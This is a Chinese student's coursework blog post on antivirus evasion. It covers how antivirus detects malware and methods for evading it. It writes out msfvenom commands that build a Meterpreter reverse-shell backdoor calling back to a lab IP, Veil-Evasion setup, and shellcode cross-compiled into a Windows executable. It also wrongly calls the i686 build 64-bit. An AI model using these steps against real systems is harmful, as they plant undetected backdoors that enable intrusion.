Exp3 免杀原理与实践

一、基础问题回答

(1)杀软是如何检测出恶意代码的?

           ①基于特征码的检测:AV软件厂商通过检测一个可执行文件是否包含一段与特征码库中相匹配的特征码从而判断是否为恶意软件。

           ②启发式恶意软件检测:就是根据一个程序的特征和行为如果与恶意软件相似,就判定为恶意软件。

           ③基于行为的恶意软件检测:同启发式,启发式偏向于对程序的特征扫描,基于行为的则是多了对程序的行为监控。

(2)免杀是做什么?

           免杀就是使恶意软件能不被AV软件的检测出来,其本身安装的后门能够不被发现,成功存活下来。

(3)免杀的基本方法有哪些?

           1、改变特征码:

          如果是类似exe的可执行文件可以加壳,例如压缩壳

          如果是shellcode可以用encode进行编码或者用payload重新编译生成可执行文件

          如果是源代码可以用其他语言进行重写再编译(veil-evasion)

           2、改变行为:

                 通讯方式:尽量使用反弹式连接、使用隧道技术、加密通讯数据

                 操作模式:基于内存操作、减少对系统的修改、加入混淆作用的正常功能代码

           3、非常规方法:

               ①使用一个有漏洞的应用当成后门,编写攻击代码集成到如MSF中。

               ②使用社工类攻击,诱骗目标关闭AV软件。

               ③纯手工打造一个恶意软件。

二、实验步骤

 使用Msfvenom编码器

 使用指令 msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.200.133 PORT=4311 -f exe > wangzhuoran01.exe 生成一个可执行文件放到网站 http://www.virscan.org 上检测,结果如下:

 

使用Veil-Evasion

veil-evasion和Metasploit类似,可以生成后门文件,但Linux里没有需要我们自己安装,用 sudo apt-get install veil-evasion 指令下载软件包,下载好后输入 veil 开始安装。

安装完成后自动进入 veil (下次想调用,输入 veil 即可)。

 

list 指令可以查看可使用的工具,选择 evasion (或者直接输入 use evasion )

同上 list 可查看可使用的 payload

 

 

 

 

 

C语言调用Shellcode

输入指令 msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.200.133 LPORT=4311 -f c 生成一个c语言格式的Shellcode数组

 

 

Linux平台交叉编译Windows应用

 将生成部分复制,粘贴到自己创建的一个c格式文件中,添加一个main函数保存退出。

使用指令 i686-w64-mingw32-g++ wangzhuoran03.c -o wangzhuoran03.exe 将创建的c格式文件转化为64位windows系统下的exe文件。

 

反弹链接成功

 

 

 

心得体会

这次实验,让我学会了在恶意代码外加壳,用来躲避检查。这样一来连360这种专业杀毒软件都无法发现杀除,可见平时我们的电脑都处在非常危险的网络环境中。这次实验安装环境用了很多的时间,学习实验步骤倒是相对轻松了一点。争取再接再厉。

 

posted @ 2018-04-09 12:51  林启亮  阅读(97)  评论(0编辑  收藏